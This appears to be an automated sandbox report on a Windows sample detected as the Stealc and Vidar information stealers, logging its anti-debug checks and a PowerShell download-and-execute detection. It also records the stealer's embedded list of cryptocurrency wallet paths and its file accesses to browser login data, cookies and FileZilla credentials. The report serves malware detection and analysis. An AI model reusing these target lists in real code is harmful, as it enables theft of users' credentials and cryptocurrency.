Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C52B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6C52B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C52B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6C52B1F7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6DAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6C6DAC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 7256, type: MEMORYSTR

Source: file.exe, file.exe, 00000000.00000002.2109977957.0000000001089000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: =Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C52B341 cpuid

0_2_6C52B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C4F35A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C4F35A0

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.c10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2109583289.0000000000C11000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1711896895.0000000005670000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2110649970.00000000019BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7256, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7256, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2110649970.0000000001A33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Electrum-LTC\wallets\\.iu
Source: file.exe, 00000000.00000002.2110649970.0000000001A33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\ElectronCash\wallets\\.
Source: file.exe, 00000000.00000002.2110649970.00000000019B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2110649970.0000000001A33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\window-state.json
Source: file.exe, 00000000.00000002.2110649970.00000000019B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2110649970.0000000001A33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.conf.json
Source: file.exe, 00000000.00000002.2110649970.0000000001A33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\info.secoi~
Source: file.exe, 00000000.00000002.2110649970.0000000001A33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\info.secoi~
Source: file.exe, 00000000.00000002.2110649970.00000000019B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2110649970.00000000019B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2110649970.00000000019B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2110649970.0000000001A33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Ethereum\\keystore
Source: file.exe, 00000000.00000002.2110649970.0000000001A33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\info.secoi~
Source: file.exe, 00000000.00000002.2110649970.0000000001A33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\.finger-print.fp5
Source: file.exe, 00000000.00000002.2110649970.0000000001A33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Ethereum\\keystore
Source: file.exe, 00000000.00000002.2110649970.00000000019B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2110649970.00000000019B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2110649970.0000000001A33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\info.secoi~
Source: file.exe, 00000000.00000002.2110649970.0000000001A33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\MultiDoge\\multidoge.wallet
Source: file.exe, 00000000.00000002.2110649970.0000000001A33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\seed.seco*
Source: file.exe, 00000000.00000002.2110649970.0000000001A33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Ethereum\\keystore
Source: file.exe, 00000000.00000002.2110649970.0000000001A33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\.
Source: file.exe, 00000000.00000002.2110649970.0000000001A33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Electrum-LTC\wallets\\.iu

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
